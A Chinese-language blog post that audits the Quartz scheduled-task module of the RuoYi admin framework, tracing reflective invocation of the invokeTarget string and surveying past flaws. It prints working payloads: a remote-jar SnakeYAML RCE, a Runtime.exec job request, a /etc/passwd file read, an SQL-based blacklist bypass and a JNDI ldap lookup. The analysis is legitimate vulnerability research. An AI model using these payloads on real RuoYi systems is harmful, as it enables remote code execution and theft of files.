入口点
ruoyi使用了quartz来完成对定时任务的处理
新增定时任务
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
|
@PreAuthorize("@ss.hasPermi('monitor:job:add')") @Log(title = "定时任务", businessType = BusinessType.INSERT) @PostMapping public AjaxResult add(@RequestBody SysJob job) throws SchedulerException, TaskException { if (!CronUtils.isValid(job.getCronExpression())) { return error("新增任务'" + job.getJobName() + "'失败,Cron表达式不正确"); } else if (StringUtils.containsIgnoreCase(job.getInvokeTarget(), Constants.LOOKUP_RMI)) { return error("新增任务'" + job.getJobName() + "'失败,目标字符串不允许'rmi'调用"); } else if (StringUtils.containsIgnoreCase(job.getInvokeTarget(), Constants.LOOKUP_LDAP)) { return error("新增任务'" + job.getJobName() + "'失败,目标字符串不允许'ldap'调用"); } else if (StringUtils.containsAnyIgnoreCase(job.getInvokeTarget(), new String[] { Constants.HTTP, Constants.HTTPS })) { return error("新增任务'" + job.getJobName() + "'失败,目标字符串不允许'http(s)//'调用"); } else if (StringUtils.containsAnyIgnoreCase(job.getInvokeTarget(), Constants.JOB_ERROR_STR)) { return error("新增任务'" + job.getJobName() + "'失败,目标字符串存在违规"); } job.setCreateBy(getUsername()); return toAjax(jobService.insertJob(job)); }
|
执行定时任务
1 2 3 4 5 6 7 8 9 10 11
|
@PreAuthorize("@ss.hasPermi('monitor:job:changeStatus')") @Log(title = "定时任务", businessType = BusinessType.UPDATE) @PutMapping("/run") public AjaxResult run(@RequestBody SysJob job) throws SchedulerException { jobService.run(job); return AjaxResult.success(); }
|
首先要了解一下quartz库是干嘛的
Quartz官方文档_w3cschool
quartz库
需要理解三个概念即可
- Scheduler调度器,用来调度线程等大方向规划
- Trigger触发器,定义任务执行的时间规则
- job定义任务的具体逻辑
demo1
创建具体的逻辑类
需要重写execute方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| public class HelloJob implements Job {
@Override public void execute(JobExecutionContext context) throws JobExecutionException { Object tv1 = context.getTrigger().getJobDataMap().get("t1"); Object tv2 = context.getTrigger().getJobDataMap().get("t2"); Object jv1 = context.getJobDetail().getJobDataMap().get("j1"); Object jv2 = context.getJobDetail().getJobDataMap().get("j2"); Object sv = null; try { sv = context.getScheduler().getContext().get("skey"); } catch (SchedulerException e) { e.printStackTrace(); } System.out.println(tv1+":"+tv2); System.out.println(jv1+":"+jv2); System.out.println(sv); System.out.println("hello:"+LocalDateTime.now()); }
}
|
创建Scheduler和Trigger来调度这个job
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| public class Test {
public static void main(String[] args) throws SchedulerException { Scheduler scheduler = StdSchedulerFactory.getDefaultScheduler(); scheduler.getContext().put("skey", "svalue"); Trigger trigger = TriggerBuilder.newTrigger() .withIdentity("trigger1", "group1") .usingJobData("t1", "tv1") .withSchedule(SimpleScheduleBuilder.simpleSchedule().withIntervalInSeconds(3) .repeatForever()).build(); trigger.getJobDataMap().put("t2", "tv2"); JobDetail job = JobBuilder.newJob(HelloJob.class) .usingJobData("j1", "jv1") .withIdentity("myjob", "mygroup").build(); job.getJobDataMap().put("j2", "jv2"); scheduler.scheduleJob(job,trigger); scheduler.start(); }
}
|
每三秒执行一次

ruoyi对quartz的封装
job的增删差改的总操作被封装在了SysJobServiceImpl
,先仔细阅读这个类可以更好理解下面的实现
字符串到代码执行
ruoyi对quartz的封装程度还是很高的,因为ruoyi的后台是想实现让管理员直接在ui界面输入定时任务要执行的代码,而不是让管理员再打开idea然后自己去实现一个Job的接口,所以这会用到反射
我们还是从Controller开始审计,先看对我们上waf的代码,这里可以看到是检测了我们的InvokeTarget()
1 2 3 4
| else if (StringUtils.containsIgnoreCase(job.getInvokeTarget(), Constants.LOOKUP_LDAP)) { return error("新增任务'" + job.getJobName() + "'失败,目标字符串不允许'ldap'调用"); }
|
也是比较通俗易懂,这个变量实际就是我们execute要执行的东西

包括我们的cronExpression,也就是用来配置我们的trigger的表达式
我们全局搜索一下invokeTarger就不难搜到,我们的字符串在一个函数被通过反射的方式执行了代码

我们倒推回去,看看是哪里调用了这个方法
一个是非并发执行,一个是并发执行

这个doExecute是显得非常眼熟了,因为他就是我们demo1提到的execute的重写,我们可以看看他的父类接口实际上就是job

然后他肯定是会重写execute来调用我们的doExecute

这样就实现了从字符串->代码执行的实现
定时任务的持久化
实际上是用了mybatis作映射把定时任务的信息都存在了sys_job表里面

映射的xml语句可以看到对应的sql语句
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111
| <?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE mapper PUBLIC "-//mybatis.org//DTD Mapper 3.0//EN" "http://mybatis.org/dtd/mybatis-3-mapper.dtd"> <mapper namespace="com.tk.quartz.mapper.SysJobMapper">
<resultMap type="SysJob" id="SysJobResult"> <id property="jobId" column="job_id" /> <result property="jobName" column="job_name" /> <result property="jobGroup" column="job_group" /> <result property="invokeTarget" column="invoke_target" /> <result property="cronExpression" column="cron_expression" /> <result property="misfirePolicy" column="misfire_policy" /> <result property="concurrent" column="concurrent" /> <result property="status" column="status" /> <result property="createBy" column="create_by" /> <result property="createTime" column="create_time" /> <result property="updateBy" column="update_by" /> <result property="updateTime" column="update_time" /> <result property="remark" column="remark" /> </resultMap> <sql id="selectJobVo"> select job_id, job_name, job_group, invoke_target, cron_expression, misfire_policy, concurrent, status, create_by, create_time, remark from sys_job </sql> <select id="selectJobList" parameterType="SysJob" resultMap="SysJobResult"> <include refid="selectJobVo"/> <where> <if test="jobName != null and jobName != ''"> AND job_name like concat('%', #{jobName}, '%') </if> <if test="jobGroup != null and jobGroup != ''"> AND job_group = #{jobGroup} </if> <if test="status != null and status != ''"> AND status = #{status} </if> <if test="invokeTarget != null and invokeTarget != ''"> AND invoke_target like concat('%', #{invokeTarget}, '%') </if> </where> </select> <select id="selectJobAll" resultMap="SysJobResult"> <include refid="selectJobVo"/> </select> <select id="selectJobById" parameterType="Long" resultMap="SysJobResult"> <include refid="selectJobVo"/> where job_id = #{jobId} </select> <delete id="deleteJobById" parameterType="Long"> delete from sys_job where job_id = #{jobId} </delete> <delete id="deleteJobByIds" parameterType="Long"> delete from sys_job where job_id in <foreach collection="array" item="jobId" open="(" separator="," close=")"> #{jobId} </foreach> </delete> <update id="updateJob" parameterType="SysJob"> update sys_job <set> <if test="jobName != null and jobName != ''">job_name = #{jobName},</if> <if test="jobGroup != null and jobGroup != ''">job_group = #{jobGroup},</if> <if test="invokeTarget != null and invokeTarget != ''">invoke_target = #{invokeTarget},</if> <if test="cronExpression != null and cronExpression != ''">cron_expression = #{cronExpression},</if> <if test="misfirePolicy != null and misfirePolicy != ''">misfire_policy = #{misfirePolicy},</if> <if test="concurrent != null and concurrent != ''">concurrent = #{concurrent},</if> <if test="status !=null">status = #{status},</if> <if test="remark != null and remark != ''">remark = #{remark},</if> <if test="updateBy != null and updateBy != ''">update_by = #{updateBy},</if> update_time = now() </set> where job_id = #{jobId} </update> <insert id="insertJob" parameterType="SysJob" useGeneratedKeys="true" keyProperty="jobId"> insert into sys_job( <if test="jobId != null and jobId != 0">job_id,</if> <if test="jobName != null and jobName != ''">job_name,</if> <if test="jobGroup != null and jobGroup != ''">job_group,</if> <if test="invokeTarget != null and invokeTarget != ''">invoke_target,</if> <if test="cronExpression != null and cronExpression != ''">cron_expression,</if> <if test="misfirePolicy != null and misfirePolicy != ''">misfire_policy,</if> <if test="concurrent != null and concurrent != ''">concurrent,</if> <if test="status != null and status != ''">status,</if> <if test="remark != null and remark != ''">remark,</if> <if test="createBy != null and createBy != ''">create_by,</if> create_time )values( <if test="jobId != null and jobId != 0">#{jobId},</if> <if test="jobName != null and jobName != ''">#{jobName},</if> <if test="jobGroup != null and jobGroup != ''">#{jobGroup},</if> <if test="invokeTarget != null and invokeTarget != ''">#{invokeTarget},</if> <if test="cronExpression != null and cronExpression != ''">#{cronExpression},</if> <if test="misfirePolicy != null and misfirePolicy != ''">#{misfirePolicy},</if> <if test="concurrent != null and concurrent != ''">#{concurrent},</if> <if test="status != null and status != ''">#{status},</if> <if test="remark != null and remark != ''">#{remark},</if> <if test="createBy != null and createBy != ''">#{createBy},</if> now() ) </insert>
</mapper>
|
这些方法实际上就是存在刚刚提到的SysJobServiceImpl
类里面
所以每次调用的时候都会从中获取我们的invokeTarget字符串来实现定时任务的持久化
入口点的漏洞利用
反射调用的具体实现
想要传入正确的invokeTarget字符串,还得认真看看我们的字符串是怎么被反射调用的,回到刚刚找到的具体实现JobInvokeUtil
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
|
public static void invokeMethod(SysJob sysJob) throws Exception { String invokeTarget = sysJob.getInvokeTarget(); String beanName = getBeanName(invokeTarget); String methodName = getMethodName(invokeTarget); List<Object[]> methodParams = getMethodParams(invokeTarget);
if (!isValidClassName(beanName)) { Object bean = SpringUtils.getBean(beanName); invokeMethod(bean, methodName, methodParams); } else { Object bean = Class.forName(beanName).newInstance(); invokeMethod(bean, methodName, methodParams); } }
|
首先是beanName看看是如何被获取的
1 2 3 4 5
| public static String getBeanName(String invokeTarget) { String beanName = StringUtils.substringBefore(invokeTarget, "("); return StringUtils.substringBeforeLast(beanName, "."); }
|
也就是比较简单,就是取(
前的字符然后再取.
前的字符
比如a.b('xx')
就会取到a
再看methodName
是怎么被取到的
1 2 3 4 5
| public static String getMethodName(String invokeTarget) { String methodName = StringUtils.substringBefore(invokeTarget, "("); return StringUtils.substringAfterLast(methodName, "."); }
|
比如a.b('xx')
就会取到b
下面的getMethodParams
肯定就比较容易知道了
比如我们传入Runtime.exec('calc')
在没有任何waf的情况下肯定是会执行的
我们可以直接对着接口创建一个试试看
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| POST /monitor/job HTTP/1.1 Host: 127.0.0.1:18812 isToken: false Authorization: Bearer eyJhbGciOiJIUzUxMiJ9.eyJsb2dpbl91c2VyX2tleSI6IjZhZTY5NDIzLTM0OWQtNGZiNC1iZmUwLWQ1ZGYwMjY1MTg2NyJ9.eIdPnVJ2EEdNtLcr_LIAuZRNoasWKbPEzClap82tP3v-tc0tMaGnkfwltpLsHiOSxfgiusF39BPwuEWgD_cuiA sec-ch-ua: "Not)A;Brand";v="8", "Chromium";v="138", "Google Chrome";v="138" Accept-Language: zh-CN,zh;q=0.9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Referer: http://localhost/login?redirect=%2Findex sec-ch-ua-mobile: ?0 Accept: application/json, text/plain, */* Origin: http://localhost sec-ch-ua-platform: "Windows" Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Site: same-origin Content-Type: application/json
{"jobName":"calc","invokeTarget":"Runtime.exec('calc')","cronExpression":"0/3 * * * * ?"}
|
可以看到确实是可以写入表的

但是在run的时候会报错说Runtime这个bean不存在

我们定位到报错的地方,也就是根据bean的名字取bean的地方
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| private static ConfigurableListableBeanFactory beanFactory;
private static ApplicationContext applicationContext;
@Override public void postProcessBeanFactory(ConfigurableListableBeanFactory beanFactory) throws BeansException { SpringUtils.beanFactory = beanFactory; }
@Override public void setApplicationContext(ApplicationContext applicationContext) throws BeansException { SpringUtils.applicationContext = applicationContext; }
@SuppressWarnings("unchecked") public static <T> T getBean(String name) throws BeansException { return (T) beanFactory.getBean(name); }
|
也就是说我们的Runtime是没有被注入到spring-boot的上下文中的
所以到这里就比较清晰了,我们已经可以实现了任意类任意方法(任意已经注入spring环境的类),只要找到可以利用的类即可
实际上后面发现他也可以不走getbean的方法直接反射调用
也就是这里
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| public static boolean isValidClassName(String invokeTarget) { return StringUtils.countMatches(invokeTarget, ".") > 1;//只要有两个.以上就不会走getbean }
if (!isValidClassName(beanName)) { Object bean = SpringUtils.getBean(beanName); invokeMethod(bean, methodName, methodParams); } else { Object bean = Class.forName(beanName).newInstance(); invokeMethod(bean, methodName, methodParams); }
|
但是如果传入的是java.lang.Runtime.exec(‘calc’)
会因为exec是一个private的方法所以不能调用

版本问题说明
因为ruoyi的版本比较多,有前后端分离版本,有纯后端版本等等

这里只做RuoYi后端和RuoYi-Vue的定时任务研究,因为他们在对quartz的封装几乎一致,至于其他版本还没看过
去找可利用的类
根据上面我们可以知道,我们要么用全名直接去反射调用,要么通过匿名去在spring上下文去找类,既然可以使用全名直接去反射调用就没必要去spring上下文取了,最重要的是要调用的可利用方法必须不是private的
通过依赖分析,或者一些工具的遍历,都可以有效地去找出可以利用的危险类
历史漏洞梳理
黑名单和白名单的设置位于ruoyi-common\src\main\java\com\ruoyi\common\constant\Constants.java
通过这个文件的历史版本可以更好定位漏洞的位置还有影响的版本
snakeyaml注入RCE
版本
RuoYi版本<=4.6.2
RuoYi-Vue版本<3.7
修复点
具体是因为snakeyaml导致的http(s)注入,我们在代码历史可以找到修复的记录

https://github.com/artsploit/yaml-payload
EXP
1
| {"jobName":"snakey","invokeTarget":"org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [%22http://xxx.xx.xx.x:2333/yaml-payload.jar%22]]]]')","cronExpression":"0/3 * * * * ?"}
|
ruoYiConfig.setProfile任意文件读取
也是一个cve,CVE-2023-27025
版本
RuoYi版本<=4.7.6
RuoYi-Vue版本<3.8.6
修复点
找到4.7.7对ScheduleUtils.java的更新

实际上就是上了黑名单和白名单,可以点进去看看这个黑名单和白名单到4.7.7版本都有什么
1 2 3 4 5 6 7 8 9 10
|
public static final String[] JOB_WHITELIST_STR = { "com.ruoyi" };
public static final String[] JOB_ERROR_STR = { "java.net.URL", "javax.naming.InitialContext", "org.yaml.snakeyaml", "org.springframework", "org.apache", "com.ruoyi.common.utils.file", "com.ruoyi.common.config" };
|
实际上就包含了刚刚上面提到的snakeyaml注入RCE
EXP
实际上这是配合Commom下的下载文件代码一起打的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
|
@GetMapping("/download/resource") public void resourceDownload(String resource, HttpServletRequest request, HttpServletResponse response) throws Exception { try { if (!FileUtils.checkAllowDownload(resource)) { throw new Exception(StringUtils.format("资源文件({})非法,不允许下载。 ", resource)); } String localPath = RuoYiConfig.getProfile(); String downloadPath = localPath + StringUtils.substringAfter(resource, Constants.RESOURCE_PREFIX); String downloadName = StringUtils.substringAfterLast(downloadPath, "/"); response.setContentType(MediaType.APPLICATION_OCTET_STREAM_VALUE); FileUtils.setAttachmentResponseHeader(response, downloadName); FileUtils.writeBytes(downloadPath, response.getOutputStream()); } catch (Exception e) { log.error("下载文件失败", e); } } }
|
这里的getProfile()就是设置本地路径的地方
传入invokeTarget即可
1
| ruoYiConfig.setProfile('/etc/passwd')
|
sql类漏洞
genTableServiceImpl执行任意sql语句导致RCE
版本
RuoYi版本<=4.7.8
RuoYi-Vue<3.8.8(不太确定),因为这里的修改和RuoYi的修改差别很大,这里直接把白名单修改为com.ruoyi.quartz.task
了
修复点
RuoYi的修复,增加黑名单

这是Ruoyi-Vue的修复,缩小白名单

所以缩小到task?最后还不是要让管理员编程定时任务吗,不太懂
EXP
实际上就是使用com.ruoyi.generator.service.impl.GenTableServiceImpl
的createTable来执行任意sql语句从而改变invokeTarget来绕过黑白名单的检测
1
| genTableServiceImpl.createTable('UPDATE sys_job SET invoke_target = 0x6a6....... WHERE job_id = 100;')
|
1
| javax.naming.InitialContext.lookup('ldap://xxxxx')
|
sql注入
在一些比较古早的资料发现定时任务在插入或者查询的时候,在Mapper的xml中是有用${}
的,具体也是比较早的版本了,只要看看Mapper就可以发现,不做研究了